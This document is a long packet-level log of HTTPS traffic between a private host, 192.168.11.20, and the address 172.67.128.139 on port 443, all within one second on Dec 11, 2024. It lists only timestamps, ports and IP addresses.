Dec 11, 2024 12:15:51.685710907 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.685766935 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.686342001 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.686342955 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.686387062 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.686525106 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.686666012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.687535048 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.687582970 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.687706947 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.687706947 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.687886000 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.687886000 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.687886000 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.687911034 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.688076019 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.689946890 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.689997911 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.690303087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.690303087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.690303087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.690337896 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.690490961 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.691890955 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.691941023 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.692281008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.692281008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.692281008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.692315102 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.692347050 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.692527056 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.692527056 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.693770885 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.693820953 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.693934917 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.694119930 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.694119930 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.694119930 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.694120884 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.694149971 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.694340944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.695998907 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.696058989 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.696333885 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.696335077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.696335077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.696335077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.696335077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.696374893 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.696584940 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.697877884 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.697937965 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.698071003 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.698071003 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.698117018 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.698117018 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.698117018 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.698136091 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.698301077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.700211048 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.700262070 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.700354099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.700398922 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.700398922 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.700423002 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.700583935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.700773954 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.701939106 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.701997042 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.702111006 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.702111006 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.702111006 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.702148914 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.702294111 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.702294111 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.702294111 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.704125881 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.704184055 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.704704046 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.704704046 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.704704046 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.704742908 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.704885960 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.704885960 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.705996990 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.706048012 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.706183910 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.706183910 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.706185102 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.706234932 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.706362009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.706557035 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.706557035 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.708564043 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.708607912 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.708923101 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.708923101 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.708959103 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.709089041 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.709089041 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.709177971 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.710047007 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.710104942 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.710236073 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.710236073 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.710284948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.710284948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.710284948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.710302114 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.710535049 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.712238073 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.712296963 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.712410927 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.712410927 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.712587118 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.712615013 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.712783098 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.712783098 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.712783098 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.714890957 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.714943886 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.715065002 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.715249062 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.715249062 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.715274096 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.715406895 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.716850996 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.716891050 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.717019081 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.717019081 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.717179060 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.717179060 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.717179060 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.717205048 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.717930079 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.718728065 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.718767881 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.719075918 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.719103098 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.719264984 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.720438957 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.720474005 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.721081972 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.721081972 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.721081972 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.721081972 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.721112967 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.721257925 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.722935915 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.722970963 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.723284006 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.723284006 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.723315954 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.723524094 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.724900961 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.724936008 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.725071907 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.725071907 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.725254059 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.725254059 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.725254059 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.725284100 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.725444078 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.726927996 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.726957083 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.727089882 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.727091074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.727243900 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.727256060 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.727438927 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.727438927 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.728785038 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.728826046 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.728952885 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.729139090 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.729139090 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.729139090 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.729139090 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.729172945 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.729326010 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.731287003 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.731327057 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.731443882 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.731626034 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.731626034 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.731626034 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.731651068 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.731813908 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.731863976 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.733047009 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.733082056 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.733215094 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.733216047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.733398914 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.733426094 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.733613014 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.735063076 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.735096931 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.735747099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.735747099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.735773087 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.735865116 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.735937119 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.735937119 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.735951900 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.736114979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.921519041 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.921559095 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.921874046 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.921874046 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.921874046 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.921874046 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.921932936 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.922255039 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.923561096 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.923594952 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.923728943 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.923728943 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.923852921 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.923852921 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.923892975 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.924015045 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.924062967 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.925472021 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.925530910 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.925749063 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.925749063 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.925749063 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.925749063 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.925749063 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.925803900 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.926013947 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.927407980 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.927439928 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.927586079 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.927586079 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.927771091 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.927771091 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.927805901 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.927956104 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.928028107 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.929337025 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.929368973 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.929510117 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.929510117 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.929692030 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.929692984 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.929692984 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.929729939 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.929881096 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.931838989 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.931871891 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.932178020 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.932178020 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.932178020 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.932214022 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.932576895 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.933675051 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.933722019 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.934067965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.934067965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.934067965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.934067965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.934122086 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.934743881 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.935525894 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.935559988 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.935694933 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.935694933 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.935878992 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.935911894 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.936069012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.936069012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.936069012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.937372923 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.937468052 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.937544107 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.937544107 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.937727928 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.937727928 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.937761068 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.939315081 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.939348936 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.939487934 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.939487934 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.939531088 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.939678907 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.939680099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.939680099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.939680099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.941692114 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.941724062 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.941862106 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.941862106 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.941901922 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.942059040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.942059040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.942059040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.942059040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.943567038 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.943624973 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.943757057 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.943758011 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.943806887 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.943949938 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.943949938 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.943949938 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.945538998 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.945605040 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.946223021 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.946223021 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.946223021 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.946261883 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.946398973 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.947315931 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.947324991 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.947444916 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.947444916 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.947457075 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.947489977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.947685003 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.949579954 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.949589968 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.949737072 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.949918985 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.949919939 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.949930906 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.951623917 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.951634884 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.951785088 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.951795101 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.951975107 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.951975107 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.951975107 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.953603029 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.953612089 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.953742981 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.953794956 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.953794956 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.953800917 CET	443	49782	172.67.128.139	192.168.11.20
